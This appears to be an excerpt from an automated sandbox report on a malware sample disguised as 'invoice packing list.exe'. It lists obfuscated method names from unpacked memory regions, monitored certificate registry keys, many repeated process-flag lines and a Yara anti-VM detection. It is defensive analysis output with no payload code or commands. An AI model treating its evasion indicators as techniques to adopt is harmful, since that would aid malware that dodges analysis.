Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, Ud9QceN44K6Mw96FA1.cs	High entropy of concatenated method names: 'NPBhGFOeiI', 'b0Rhx7rZJ7', 'DUOhhZnxZO', 'WjshcQuA0b', 'DDshp6LfX6', 'qTDhiNfcK5', 'Dispose', 'bDVBHpkZeg', 'OotBQLP8Bv', 'f01BmQCl9e'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, dD0BVxQqWcHNl3EOSs.cs	High entropy of concatenated method names: 'Dispose', 'z6MIrw96FA', 'NWF2nsD7GB', 'wcJRF1gXwW', 'ToCI5PDimL', 'ca6IzdYJs2', 'ProcessDialogKey', 'L9j2OyMo88', 'w0A2Ira9Tx', 'E0w22AW3P9'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, u65AEyzuvTaiVXsVTe.cs	High entropy of concatenated method names: 'fDJVacQVCI', 'ckUV8vOMvo', 'WseVjpQcCv', 'mTBVqPQMDZ', 'Xw3VnjkjAq', 'ydHVePgxTu', 'tlJVCl2M73', 'thWViC8NHL', 'qPXVLotb1J', 'LeKV9ZoyXV'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, FR0QiRIfhQaCC6ovHDv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fdpdh70MZR', 'k57dVL3dnn', 'z3adchBEu9', 'yDpddLYDXs', 'bfWdptaqj2', 'wBhdsdJy5S', 'VPXdiVxOGa'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, DS7BW0DFsb2tsRZAL8.cs	High entropy of concatenated method names: 'R96kHMshJB', 'lCUkmfLuc0', 'WYpkMfrhiW', 'hO6M5esJym', 'bAhMzeG4Gd', 'vv8kOYAvk3', 'bNYkIHi8vw', 'rllk28Ih9u', 'QYYkyB64au', 'DMskfQUrlU'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, BCWpgj8j50mWaxBvP6.cs	High entropy of concatenated method names: 'fcqQJ0xSkG', 'oAaQUWrGSX', 'eeKQX0YeEU', 'CwrQ1Ayhuf', 'Jc3QoP5WVj', 'OZZQwUWl6V', 'TLCQN7epej', 'jpaQAoNuxi', 'FX0QrWAqH6', 'gPtQ5JRLlS'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, sw2xZcJUwW7c0RvEVa.cs	High entropy of concatenated method names: 'FYRG3lU5I5', 'wVCGt2G5dp', 'NVmGJo30i9', 'kqSGUSgt0k', 'B4JGntLB34', 'bTLGlbkeha', 'n1pGeJed8O', 'IuAGCugQB9', 'FEOGS5Y9hn', 'm1gGD8nZYJ'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, XZ1it8U9PwDjdP7gXi.cs	High entropy of concatenated method names: 'CRZGN9kx6J', 'R8CGA8OHXp', 'jrIGrlae60', 'RXNG5wq5YG', 'o1TSfLVHTNeDfVf3INo', 'DdiQ5KVinI0jkqm4hNH', 'o4Hd5lVrVvmPy7ZufF2', 'S1SUy7VZoEQpEtPX6qG'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, zSiLhA2jy2oTvl6tbs.cs	High entropy of concatenated method names: 'qUoKs99lB', 'LlMYYM6G6', 'vRNaVVKpb', 'yqv4ph6bv', 'Rjcj6Fs4x', 'FaLZ3H8h3', 'D5acoEfUKcP3Zg9E7G', 't1HSwl05RVYmIyjq7K', 'DLrBAS1PT', 'mlPVHZ8qx'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, UCgCHyZk2L11G2cjVp.cs	High entropy of concatenated method names: 'IthPW1xAmO', 'CmNP4IdRdG', 'sYKmlv6yOI', 'gyXmeep86u', 'kIqmCsIcwY', 'pEQmSTySWH', 'RKemDldfUQ', 'Lytmu4i1xB', 'M8LmRFqoQP', 'EJsm3bIT70'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, khg9ERRp3gHWVtiDLt.cs	High entropy of concatenated method names: 'NSKkLdn3E7', 'wkWk9yoRFD', 'pGvkKvEnjv', 'lUskYg6uwV', 'wNVkWgWdOx', 'pu9ka3hNQQ', 'afYk4EnTMT', 'gj7k8sGyr7', 'h9ikjAG620', 'GubkZajCWr'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, RGlWmwje7LtvZq0b4l.cs	High entropy of concatenated method names: 'Oi5mY96SWr', 'co5ma2uxTa', 'rxAm8otwLu', 'DHwmjEe7dj', 'zV6mGd0yP9', 'viHmTFhVaJ', 'n2JmxhU7jj', 'QuUmBqaI5q', 'LtZmhiYiO7', 'fV2mVNZF1k'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, DvPB97fbEbk6oqcSaO.cs	High entropy of concatenated method names: 'niWIkCWpgj', 'E50I0mWaxB', 'Ue7IELtvZq', 'kb4IvloCgC', 'bcjIGVpKeC', 'Cy8ITqdFGi', 'VZR9gm3M9o7xsHgeRQ', 'fFOOQ8NZcDkEOEDiV9', 'p4bIIJmaHs', 'ylMIywI9yG'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, j1gFGoXv2S6nIHvGHT.cs	High entropy of concatenated method names: 'ToString', 'NTtT7NW4tR', 'iGqTnMg16J', 'YQJTl5AaeT', 'f26TeMjAkL', 'IT8TCEK5nK', 'FpETSY3k8Q', 'AwWTDGMUdi', 'FnZTuoOF2Z', 'd0bTRJgv1P'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, a284xdII5yLBtRLk15W.cs	High entropy of concatenated method names: 'Bb7V5FjYke', 'a8XVzvPDMl', 'kiPcOsNUNr', 'IaHcIjUPGf', 'J0Ic2Gu9F6', 'Gpacy8EMeC', 'DoZcf6nloe', 'APccbfPfLw', 'nZYcHit2wM', 'bPvcQjhvcR'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, xoB6256fyHcwTsGSFY.cs	High entropy of concatenated method names: 'AewF8cr0yT', 'xpTFjpdHTW', 'desFqD70b7', 'TnbFnBfbFT', 'luVFeyr7sF', 'gOYFCTQctY', 'u0wFDg1BCR', 'oKkFuZUBln', 'mUxF3ybs0I', 'ieQF73tp99'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, Q95703IO9rX5a8MElxl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'maRV7BOeyn', 'R8TVtuy3as', 'RtHV6Ey4GS', 'LEYVJiM15u', 'yorVULmkZY', 'JbZVXBR2nD', 'Wy4V1iebwv'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	High entropy of concatenated method names: 'b51ybtIs57', 'IZ9yHXjGXC', 'H5gyQmo4LD', 'MBjymjhdjO', 'IPoyPtwryf', 'qaQyM9eeb6', 'xWcykCP1qW', 'ER0y0EOZLQ', 'KJIyglWeL8', 'Ct7yERpdAy'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, zeC4y8qqdFGihnfe7F.cs	High entropy of concatenated method names: 'AVHMbfJXTp', 'zK9MQORnWo', 'aHPMPRwGin', 'BikMkfAaY3', 'D8gM0uFn6k', 'GwEPoXog5n', 'EaRPwxqhYg', 'QEgPNngK8W', 'gcqPAXGRKM', 'Df1Pr6IySE'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, WW3P9p5VnJt57g3Q1E.cs	High entropy of concatenated method names: 'do9VmVJewj', 'j7EVP5eGp5', 'cKYVMNqiCv', 'kqbVkPd1SV', 'yIHVhEriNh', 'TpDV0KhjWu', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, EyMo88rs0Ara9Txj0w.cs	High entropy of concatenated method names: 'PKShqKRLin', 'yk2hnAJltv', 'jdfhlVUD9w', 'oi4heHIGMi', 'stfhCDbg1m', 'YTghSELsZN', 'eMihDwpFDW', 'FeRhu21r2D', 'LSxhRsdb1W', 'Aggh3L4sEG'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, Ud9QceN44K6Mw96FA1.cs	High entropy of concatenated method names: 'NPBhGFOeiI', 'b0Rhx7rZJ7', 'DUOhhZnxZO', 'WjshcQuA0b', 'DDshp6LfX6', 'qTDhiNfcK5', 'Dispose', 'bDVBHpkZeg', 'OotBQLP8Bv', 'f01BmQCl9e'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, dD0BVxQqWcHNl3EOSs.cs	High entropy of concatenated method names: 'Dispose', 'z6MIrw96FA', 'NWF2nsD7GB', 'wcJRF1gXwW', 'ToCI5PDimL', 'ca6IzdYJs2', 'ProcessDialogKey', 'L9j2OyMo88', 'w0A2Ira9Tx', 'E0w22AW3P9'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, u65AEyzuvTaiVXsVTe.cs	High entropy of concatenated method names: 'fDJVacQVCI', 'ckUV8vOMvo', 'WseVjpQcCv', 'mTBVqPQMDZ', 'Xw3VnjkjAq', 'ydHVePgxTu', 'tlJVCl2M73', 'thWViC8NHL', 'qPXVLotb1J', 'LeKV9ZoyXV'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, FR0QiRIfhQaCC6ovHDv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fdpdh70MZR', 'k57dVL3dnn', 'z3adchBEu9', 'yDpddLYDXs', 'bfWdptaqj2', 'wBhdsdJy5S', 'VPXdiVxOGa'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, DS7BW0DFsb2tsRZAL8.cs	High entropy of concatenated method names: 'R96kHMshJB', 'lCUkmfLuc0', 'WYpkMfrhiW', 'hO6M5esJym', 'bAhMzeG4Gd', 'vv8kOYAvk3', 'bNYkIHi8vw', 'rllk28Ih9u', 'QYYkyB64au', 'DMskfQUrlU'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, BCWpgj8j50mWaxBvP6.cs	High entropy of concatenated method names: 'fcqQJ0xSkG', 'oAaQUWrGSX', 'eeKQX0YeEU', 'CwrQ1Ayhuf', 'Jc3QoP5WVj', 'OZZQwUWl6V', 'TLCQN7epej', 'jpaQAoNuxi', 'FX0QrWAqH6', 'gPtQ5JRLlS'
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, sw2xZcJUwW7c0RvEVa.cs	High entropy of concatenated method names: 'FYRG3lU5I5', 'wVCGt2G5dp', 'NVmGJo30i9', 'kqSGUSgt0k', 'B4JGntLB34', 'bTLGlbkeha', 'n1pGeJed8O', 'IuAGCugQB9', 'FEOGS5Y9hn', 'm1gGD8nZYJ'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, XZ1it8U9PwDjdP7gXi.cs	High entropy of concatenated method names: 'CRZGN9kx6J', 'R8CGA8OHXp', 'jrIGrlae60', 'RXNG5wq5YG', 'o1TSfLVHTNeDfVf3INo', 'DdiQ5KVinI0jkqm4hNH', 'o4Hd5lVrVvmPy7ZufF2', 'S1SUy7VZoEQpEtPX6qG'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, zSiLhA2jy2oTvl6tbs.cs	High entropy of concatenated method names: 'qUoKs99lB', 'LlMYYM6G6', 'vRNaVVKpb', 'yqv4ph6bv', 'Rjcj6Fs4x', 'FaLZ3H8h3', 'D5acoEfUKcP3Zg9E7G', 't1HSwl05RVYmIyjq7K', 'DLrBAS1PT', 'mlPVHZ8qx'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, UCgCHyZk2L11G2cjVp.cs	High entropy of concatenated method names: 'IthPW1xAmO', 'CmNP4IdRdG', 'sYKmlv6yOI', 'gyXmeep86u', 'kIqmCsIcwY', 'pEQmSTySWH', 'RKemDldfUQ', 'Lytmu4i1xB', 'M8LmRFqoQP', 'EJsm3bIT70'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, khg9ERRp3gHWVtiDLt.cs	High entropy of concatenated method names: 'NSKkLdn3E7', 'wkWk9yoRFD', 'pGvkKvEnjv', 'lUskYg6uwV', 'wNVkWgWdOx', 'pu9ka3hNQQ', 'afYk4EnTMT', 'gj7k8sGyr7', 'h9ikjAG620', 'GubkZajCWr'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, RGlWmwje7LtvZq0b4l.cs	High entropy of concatenated method names: 'Oi5mY96SWr', 'co5ma2uxTa', 'rxAm8otwLu', 'DHwmjEe7dj', 'zV6mGd0yP9', 'viHmTFhVaJ', 'n2JmxhU7jj', 'QuUmBqaI5q', 'LtZmhiYiO7', 'fV2mVNZF1k'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, DvPB97fbEbk6oqcSaO.cs	High entropy of concatenated method names: 'niWIkCWpgj', 'E50I0mWaxB', 'Ue7IELtvZq', 'kb4IvloCgC', 'bcjIGVpKeC', 'Cy8ITqdFGi', 'VZR9gm3M9o7xsHgeRQ', 'fFOOQ8NZcDkEOEDiV9', 'p4bIIJmaHs', 'ylMIywI9yG'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, j1gFGoXv2S6nIHvGHT.cs	High entropy of concatenated method names: 'ToString', 'NTtT7NW4tR', 'iGqTnMg16J', 'YQJTl5AaeT', 'f26TeMjAkL', 'IT8TCEK5nK', 'FpETSY3k8Q', 'AwWTDGMUdi', 'FnZTuoOF2Z', 'd0bTRJgv1P'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, a284xdII5yLBtRLk15W.cs	High entropy of concatenated method names: 'Bb7V5FjYke', 'a8XVzvPDMl', 'kiPcOsNUNr', 'IaHcIjUPGf', 'J0Ic2Gu9F6', 'Gpacy8EMeC', 'DoZcf6nloe', 'APccbfPfLw', 'nZYcHit2wM', 'bPvcQjhvcR'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, xoB6256fyHcwTsGSFY.cs	High entropy of concatenated method names: 'AewF8cr0yT', 'xpTFjpdHTW', 'desFqD70b7', 'TnbFnBfbFT', 'luVFeyr7sF', 'gOYFCTQctY', 'u0wFDg1BCR', 'oKkFuZUBln', 'mUxF3ybs0I', 'ieQF73tp99'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, Q95703IO9rX5a8MElxl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'maRV7BOeyn', 'R8TVtuy3as', 'RtHV6Ey4GS', 'LEYVJiM15u', 'yorVULmkZY', 'JbZVXBR2nD', 'Wy4V1iebwv'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	High entropy of concatenated method names: 'b51ybtIs57', 'IZ9yHXjGXC', 'H5gyQmo4LD', 'MBjymjhdjO', 'IPoyPtwryf', 'qaQyM9eeb6', 'xWcykCP1qW', 'ER0y0EOZLQ', 'KJIyglWeL8', 'Ct7yERpdAy'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, zeC4y8qqdFGihnfe7F.cs	High entropy of concatenated method names: 'AVHMbfJXTp', 'zK9MQORnWo', 'aHPMPRwGin', 'BikMkfAaY3', 'D8gM0uFn6k', 'GwEPoXog5n', 'EaRPwxqhYg', 'QEgPNngK8W', 'gcqPAXGRKM', 'Df1Pr6IySE'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, WW3P9p5VnJt57g3Q1E.cs	High entropy of concatenated method names: 'do9VmVJewj', 'j7EVP5eGp5', 'cKYVMNqiCv', 'kqbVkPd1SV', 'yIHVhEriNh', 'TpDV0KhjWu', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, EyMo88rs0Ara9Txj0w.cs	High entropy of concatenated method names: 'PKShqKRLin', 'yk2hnAJltv', 'jdfhlVUD9w', 'oi4heHIGMi', 'stfhCDbg1m', 'YTghSELsZN', 'eMihDwpFDW', 'FeRhu21r2D', 'LSxhRsdb1W', 'Aggh3L4sEG'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, Ud9QceN44K6Mw96FA1.cs	High entropy of concatenated method names: 'NPBhGFOeiI', 'b0Rhx7rZJ7', 'DUOhhZnxZO', 'WjshcQuA0b', 'DDshp6LfX6', 'qTDhiNfcK5', 'Dispose', 'bDVBHpkZeg', 'OotBQLP8Bv', 'f01BmQCl9e'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, dD0BVxQqWcHNl3EOSs.cs	High entropy of concatenated method names: 'Dispose', 'z6MIrw96FA', 'NWF2nsD7GB', 'wcJRF1gXwW', 'ToCI5PDimL', 'ca6IzdYJs2', 'ProcessDialogKey', 'L9j2OyMo88', 'w0A2Ira9Tx', 'E0w22AW3P9'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, u65AEyzuvTaiVXsVTe.cs	High entropy of concatenated method names: 'fDJVacQVCI', 'ckUV8vOMvo', 'WseVjpQcCv', 'mTBVqPQMDZ', 'Xw3VnjkjAq', 'ydHVePgxTu', 'tlJVCl2M73', 'thWViC8NHL', 'qPXVLotb1J', 'LeKV9ZoyXV'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, FR0QiRIfhQaCC6ovHDv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fdpdh70MZR', 'k57dVL3dnn', 'z3adchBEu9', 'yDpddLYDXs', 'bfWdptaqj2', 'wBhdsdJy5S', 'VPXdiVxOGa'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, DS7BW0DFsb2tsRZAL8.cs	High entropy of concatenated method names: 'R96kHMshJB', 'lCUkmfLuc0', 'WYpkMfrhiW', 'hO6M5esJym', 'bAhMzeG4Gd', 'vv8kOYAvk3', 'bNYkIHi8vw', 'rllk28Ih9u', 'QYYkyB64au', 'DMskfQUrlU'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, BCWpgj8j50mWaxBvP6.cs	High entropy of concatenated method names: 'fcqQJ0xSkG', 'oAaQUWrGSX', 'eeKQX0YeEU', 'CwrQ1Ayhuf', 'Jc3QoP5WVj', 'OZZQwUWl6V', 'TLCQN7epej', 'jpaQAoNuxi', 'FX0QrWAqH6', 'gPtQ5JRLlS'
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, sw2xZcJUwW7c0RvEVa.cs	High entropy of concatenated method names: 'FYRG3lU5I5', 'wVCGt2G5dp', 'NVmGJo30i9', 'kqSGUSgt0k', 'B4JGntLB34', 'bTLGlbkeha', 'n1pGeJed8O', 'IuAGCugQB9', 'FEOGS5Y9hn', 'm1gGD8nZYJ'

Source: C:\Users\user\Desktop\invoice packing list.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

